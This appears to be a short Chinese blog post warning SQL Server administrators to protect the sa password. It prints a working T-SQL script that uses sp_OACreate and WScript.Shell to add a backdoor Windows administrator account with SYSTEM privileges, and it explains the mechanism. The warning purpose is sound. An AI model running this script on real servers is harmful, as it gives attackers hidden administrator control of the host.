SQL SERVER存在着非常严重的安全隐患。sa的密码就像Administrator的密码一样重要。
假如别人获得了数据库超级用户sa的密码,那么他/她可以在查询分析器里使用下面的SQL语句轻易在Win2000(SQL SERVER所在的Server)上创建一个超级用户:
declare @object int
--创建WScript.Shell
EXEC sp_OACreate 'WScript.Shell',@object OUT
--运.net user iamhacker opendoor /add
--添加一个名字为iamhacker,密码为opendoor的用户
EXEC sp_OAMethod @object,'Run',NULL,'net user iamhacker opendoor /add'
--把iamhacker添加到Administrators组中
EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Administrators iamhacker /add'
--把iamhacker从User组中删除
EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Users iamhacker /del'
我已经尝试过了。。实在太恐怖了。
上面的语句很短。核心是能够调用平台命令 net 。
其实现方法是SQL SERVER调用COM Automation的强大功能。再配合WSH中的一个对象WScript.Shell的一个方法:Run。(注意,一般SQL SERVER都是配置在SYSTEM的权限下运行的。也就是说,Run所调用的程序也是具有SYSTEM的权限。)
(相关的实验是,调用一下NOTEPAD,那么任务管理器下将有用户为SYSTEM的NOTEPAD。EXE进程存在)
WScript.Shell的隐患其实已经在各个方面很显著了。想不到现在竟然在Sql Server上也有相关的问题。
所以。大家一定要注意保管好sa的密码。不要随便被人黑了哦。。。